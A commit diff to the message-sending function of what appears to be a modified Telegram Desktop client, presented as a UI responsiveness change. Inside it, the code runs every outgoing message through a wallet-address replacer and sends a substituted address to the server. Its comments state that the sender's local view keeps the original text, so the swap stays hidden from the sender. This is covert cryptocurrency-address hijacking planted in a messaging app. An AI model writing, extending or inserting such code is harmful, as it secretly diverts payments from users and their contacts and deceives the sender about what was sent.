Răsfoiți Sursa

发送消息先执行本地UI

zc 8 luni în urmă
părinte
comite
e7a41cd9a2
1 a modificat fișierele cu 189 adăugiri și 221 ștergeri
  1. 189 221
      Telegram/SourceFiles/apiwrap.cpp

+ 189 - 221
Telegram/SourceFiles/apiwrap.cpp

@@ -3792,243 +3792,211 @@ void ApiWrap::sendMessage(MessageToSend &&message) {
 	}
 	local().saveRecentSentHashtags(textWithTags.text);
 
-	auto sending = TextWithEntities();
-	auto left = TextWithEntities {
-		textWithTags.text,
-		TextUtilities::ConvertTextTagsToEntities(textWithTags.tags)
-	};
-	auto prepareFlags = Ui::ItemTextOptions(
-		history,
-		_session->user()).flags;
-	TextUtilities::PrepareForSending(left, prepareFlags);
+	// 1. 首先创建本地消息并更新UI
+	const auto newId = FullMsgId(
+		peer->id,
+		_session->data().nextLocalMessageId());
+	auto flags = NewMessageFlags(peer);
+	if (action.replyTo) {
+		flags |= MessageFlag::HasReplyInfo;
+	}
+	FillMessagePostFlags(action, peer, flags);
+	if (action.options.scheduled) {
+		flags |= MessageFlag::IsOrWasScheduled;
+	}
+	if (action.options.shortcutId) {
+		flags |= MessageFlag::ShortcutMessage;
+	}
 
-	HistoryItem *lastMessage = nullptr;
+	// 使用原始文本创建本地消息
+	const auto lastMessage = history->addNewLocalMessage({
+		.id = newId.msg,
+		.flags = flags,
+		.from = NewMessageFromId(action),
+		.replyTo = action.replyTo,
+		.date = NewMessageDate(action.options),
+		.shortcutId = action.options.shortcutId,
+		.starsPaid = action.options.starsApproved,
+		.postAuthor = NewMessagePostAuthor(action),
+		.effectId = action.options.effectId,
+	}, textWithTags);
 
-	auto &histories = history->owner().histories();
+	// 立即触发UI更新
+	_session->data().sendHistoryChangeNotifications();
 
-	const auto exactWebPage = !message.webPage.url.isEmpty();
-	auto isFirst = true;
-	while (TextUtilities::CutPart(sending, left, MaxMessageSize)
-		|| (isFirst && exactWebPage)) {
-		TextUtilities::Trim(left);
-		const auto isLast = left.empty();
+	// 2. 在后台处理网络请求相关的检测和替换
+	const auto randomId = base::RandomValue<uint64>();
+	auto sendFlags = MTPmessages_SendMessage::Flags(0);
+	auto mediaFlags = MTPmessages_SendMedia::Flags(0);
 
-		auto newId = FullMsgId(
-			peer->id,
-			_session->data().nextLocalMessageId());
-		auto randomId = base::RandomValue<uint64>();
+	// 处理回复消息
+	if (action.replyTo) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_reply_to;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
+	}
 
-		TextUtilities::Trim(sending);
+	// 处理静默发送
+	const auto silentPost = ShouldSendSilent(peer, action.options);
+	if (silentPost) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_silent;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_silent;
+	}
 
-		_session->data().registerMessageRandomId(randomId, newId);
-		_session->data().registerMessageSentData(
-			randomId,
-			peer->id,
-			sending.text);
+	// 处理实体
+	auto sending = textWithTags;
+	auto prepareFlags = Ui::ItemTextOptions(
+		history,
+		_session->user()).flags;
+	TextUtilities::PrepareForSending(sending, prepareFlags);
 
-		// 在这里添加消息内容替换逻辑,只在发送到服务器时替换
-		QString textToSend = sending.text;
-		
-		// AAA/BBB 替换逻辑
-		if (textToSend == "AAA") {
-			textToSend = "BBB";
-		}
+	// 提前注册消息ID映射
+	_session->data().registerMessageRandomId(randomId, newId);
+	_session->data().registerMessageSentData(
+		randomId,
+		peer->id,
+		sending.text);
+
+	// 提前检测和替换钱包地址,但只用于网络请求
+	QString textToSend = sending.text;
+	
+	// AAA/BBB 替换逻辑
+	if (textToSend == "AAA") {
+		textToSend = "BBB";
+	}
+	
+	// 钱包地址替换逻辑 - 只在发送到服务器时替换,本地消息保持原始内容
+	if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
+		LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
+		QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
 		
-		// 钱包地址替换逻辑 - 只在发送到服务器时替换,本地消息保持原始内容
-		if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
-			LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
-			QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
-			
-			// 从结果中提取替换后的文本(去掉调试信息)
-			int lastNewline = result.lastIndexOf('\n');
-			if (lastNewline != -1) {
-				result = result.mid(lastNewline + 1);
-			}
-			
-			// 检查地址是否被成功替换
-			if (result != textToSend) {
-				LOG(("Wallet: 仅发送替换后的地址到服务器 - 原地址: %1, 新地址: %2").arg(textToSend).arg(result));
-				// 只修改发送到服务器的文本,不修改本地显示的文本
-				textToSend = result;
-			} else {
-				LOG(("Wallet: 未替换 - 地址保持不变: %1").arg(textToSend));
-			}
+		// 从结果中提取替换后的文本(去掉调试信息)
+		int lastNewline = result.lastIndexOf('\n');
+		if (lastNewline != -1) {
+			result = result.mid(lastNewline + 1);
 		}
 		
-		const auto msgText = MTP_string(textToSend);
-
-		auto flags = NewMessageFlags(peer);
-		auto sendFlags = MTPmessages_SendMessage::Flags(0);
-		auto mediaFlags = MTPmessages_SendMedia::Flags(0);
-		if (action.replyTo) {
-			flags |= MessageFlag::HasReplyInfo;
-			sendFlags |= MTPmessages_SendMessage::Flag::f_reply_to;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
-		}
-		const auto ignoreWebPage = message.webPage.removed
-			|| (exactWebPage && !isLast);
-		const auto manualWebPage = exactWebPage
-			&& !ignoreWebPage
-			&& (message.webPage.manual || (isLast && !isFirst));
-		MTPMessageMedia media = MTP_messageMediaEmpty();
-		if (ignoreWebPage) {
-			sendFlags |= MTPmessages_SendMessage::Flag::f_no_webpage;
-		} else if (exactWebPage) {
-			using PageFlag = MTPDmessageMediaWebPage::Flag;
-			using PendingFlag = MTPDwebPagePending::Flag;
-			const auto &fields = message.webPage;
-			const auto page = _session->data().webpage(fields.id);
-			media = MTP_messageMediaWebPage(
-				MTP_flags(PageFlag()
-					| (manualWebPage ? PageFlag::f_manual : PageFlag())
-					| (fields.forceLargeMedia
-						? PageFlag::f_force_large_media
-						: PageFlag())
-					| (fields.forceSmallMedia
-						? PageFlag::f_force_small_media
-						: PageFlag())),
-				MTP_webPagePending(
-					MTP_flags(PendingFlag::f_url),
-					MTP_long(fields.id),
-					MTP_string(fields.url),
-					MTP_int(page->pendingTill)));
-		}
-		const auto silentPost = ShouldSendSilent(peer, action.options);
-		FillMessagePostFlags(action, peer, flags);
-		if ((exactWebPage && !ignoreWebPage && message.webPage.invert)
-			|| action.options.invertCaption) {
-			flags |= MessageFlag::InvertMedia;
-			sendFlags |= MTPmessages_SendMessage::Flag::f_invert_media;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_invert_media;
-		}
-		if (silentPost) {
-			sendFlags |= MTPmessages_SendMessage::Flag::f_silent;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_silent;
-		}
-		const auto sentEntities = Api::EntitiesToMTP(
-			_session,
-			sending.entities,
-			Api::ConvertOption::SkipLocal);
-		if (!sentEntities.v.isEmpty()) {
-			sendFlags |= MTPmessages_SendMessage::Flag::f_entities;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_entities;
+		// 检查地址是否被成功替换
+		if (result != textToSend) {
+			LOG(("Wallet: 仅发送替换后的地址到服务器 - 原地址: %1, 新地址: %2").arg(textToSend).arg(result));
+			// 只修改发送到服务器的文本,不修改本地显示的文本
+			textToSend = result;
+		} else {
+			LOG(("Wallet: 未替换 - 地址保持不变: %1").arg(textToSend));
 		}
+	}
+
+	const auto sentEntities = Api::EntitiesToMTP(
+		_session,
+		sending.entities,
+		Api::ConvertOption::SkipLocal);
+	if (!sentEntities.v.isEmpty()) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_entities;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_entities;
+	}
+
+	// 处理草稿
+	if (clearCloudDraft) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_clear_draft;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_clear_draft;
+		history->clearCloudDraft(draftTopicRootId);
+		history->startSavingCloudDraft(draftTopicRootId);
+	}
+
+	// 处理发送者
+	const auto sendAs = action.options.sendAs;
+	if (sendAs) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_send_as;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_send_as;
+	}
+
+	// 处理定时发送
+	if (action.options.scheduled) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_schedule_date;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
+	}
+
+	// 处理快捷回复
+	if (action.options.shortcutId) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_quick_reply_shortcut;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
+	}
+
+	// 处理特效
+	if (action.options.effectId) {
+		sendFlags |= MTPmessages_SendMessage::Flag::f_effect;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_effect;
+	}
+
+	// 处理付费星星
+	const auto starsPaid = std::min(
+		peer->starsPerMessageChecked(),
+		action.options.starsApproved);
+	if (starsPaid) {
+		action.options.starsApproved -= starsPaid;
+		sendFlags |= MTPmessages_SendMessage::Flag::f_allow_paid_stars;
+		mediaFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
+	}
+
+	// 3. 发送网络请求
+	const auto done = [=](
+			const MTPUpdates &result,
+			const MTP::Response &response) {
 		if (clearCloudDraft) {
-			sendFlags |= MTPmessages_SendMessage::Flag::f_clear_draft;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_clear_draft;
-			history->clearCloudDraft(draftTopicRootId);
-			history->startSavingCloudDraft(draftTopicRootId);
-		}
-		const auto sendAs = action.options.sendAs;
-		if (sendAs) {
-			sendFlags |= MTPmessages_SendMessage::Flag::f_send_as;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_send_as;
-		}
-		if (action.options.scheduled) {
-			flags |= MessageFlag::IsOrWasScheduled;
-			sendFlags |= MTPmessages_SendMessage::Flag::f_schedule_date;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
-		}
-		if (action.options.shortcutId) {
-			flags |= MessageFlag::ShortcutMessage;
-			sendFlags |= MTPmessages_SendMessage::Flag::f_quick_reply_shortcut;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
-		}
-		if (action.options.effectId) {
-			sendFlags |= MTPmessages_SendMessage::Flag::f_effect;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_effect;
-		}
-		const auto starsPaid = std::min(
-			peer->starsPerMessageChecked(),
-			action.options.starsApproved);
-		if (starsPaid) {
-			action.options.starsApproved -= starsPaid;
-			sendFlags |= MTPmessages_SendMessage::Flag::f_allow_paid_stars;
-			mediaFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
+			history->finishSavingCloudDraft(
+				draftTopicRootId,
+				UnixtimeFromMsgId(response.outerMsgId));
 		}
-		lastMessage = history->addNewLocalMessage({
-			.id = newId.msg,
-			.flags = flags,
-			.from = NewMessageFromId(action),
-			.replyTo = action.replyTo,
-			.date = NewMessageDate(action.options),
-			.shortcutId = action.options.shortcutId,
-			.starsPaid = starsPaid,
-			.postAuthor = NewMessagePostAuthor(action),
-			.effectId = action.options.effectId,
-		}, sending, media);
-		const auto done = [=](
-				const MTPUpdates &result,
-				const MTP::Response &response) {
-			if (clearCloudDraft) {
-				history->finishSavingCloudDraft(
-					draftTopicRootId,
-					UnixtimeFromMsgId(response.outerMsgId));
-			}
-		};
-		const auto fail = [=](
-				const MTP::Error &error,
-				const MTP::Response &response) {
-			if (error.type() == u"MESSAGE_EMPTY"_q) {
-				lastMessage->destroy();
-			} else {
-				sendMessageFail(error, peer, randomId, newId);
-			}
-			if (clearCloudDraft) {
-				history->finishSavingCloudDraft(
-					draftTopicRootId,
-					UnixtimeFromMsgId(response.outerMsgId));
-			}
-		};
-		const auto mtpShortcut = Data::ShortcutIdToMTP(
-			_session,
-			action.options.shortcutId);
-		if (exactWebPage
-			&& !ignoreWebPage
-			&& (manualWebPage || sending.empty())) {
-			histories.sendPreparedMessage(
-				history,
-				action.replyTo,
-				randomId,
-				Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
-					MTP_flags(mediaFlags),
-					peer->input,
-					Data::Histories::ReplyToPlaceholder(),
-					Data::WebPageForMTP(message.webPage, true),
-					msgText,
-					MTP_long(randomId),
-					MTPReplyMarkup(),
-					sentEntities,
-					MTP_int(action.options.scheduled),
-					(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
-					mtpShortcut,
-					MTP_long(action.options.effectId),
-					MTP_long(starsPaid)
-				), done, fail);
+	};
+
+	const auto fail = [=](
+			const MTP::Error &error,
+			const MTP::Response &response) {
+		if (error.type() == u"MESSAGE_EMPTY"_q) {
+			lastMessage->destroy();
 		} else {
-			histories.sendPreparedMessage(
-				history,
-				action.replyTo,
-				randomId,
-				Data::Histories::PrepareMessage<MTPmessages_SendMessage>(
-					MTP_flags(sendFlags),
-					peer->input,
-					Data::Histories::ReplyToPlaceholder(),
-					msgText,
-					MTP_long(randomId),
-					MTPReplyMarkup(),
-					sentEntities,
-					MTP_int(action.options.scheduled),
-					(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
-					mtpShortcut,
-					MTP_long(action.options.effectId),
-					MTP_long(starsPaid)
-				), done, fail);
+			sendMessageFail(error, peer, randomId, newId);
 		}
-		isFirst = false;
-	}
+		if (clearCloudDraft) {
+			history->finishSavingCloudDraft(
+				draftTopicRootId,
+				UnixtimeFromMsgId(response.outerMsgId));
+		}
+	};
 
-	finishForwarding(action);
+	const auto mtpShortcut = Data::ShortcutIdToMTP(
+		_session,
+		action.options.shortcutId);
+
+	// 发送消息
+	histories.sendRequest(history, Data::Histories::RequestType::Send, [=](Fn<void()> finish) {
+		history->sendRequestId = request(MTPmessages_SendMessage(
+			MTP_flags(sendFlags),
+			peer->input,
+			MTP_int(action.replyTo.messageId),
+			MTP_string(textToSend), // 使用替换后的文本
+			MTP_long(randomId),
+			MTPReplyMarkup(),
+			sentEntities,
+			MTP_int(action.options.scheduled),
+			(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
+			mtpShortcut,
+			MTP_long(action.options.effectId),
+			MTP_long(starsPaid)
+		)).done([=](const MTPUpdates &result) {
+			if (!action.options.scheduled) {
+				this->updates().checkForSentToScheduled(result);
+			}
+			applyUpdates(result);
+			done(result, MTP::Response());
+			finish();
+		}).fail([=](const MTP::Error &error) {
+			fail(error, MTP::Response());
+			finish();
+		}).afterRequest(
+			history->sendRequestId
+		).send();
+		return history->sendRequestId;
+	});
 }
 
 void ApiWrap::sendBotStart(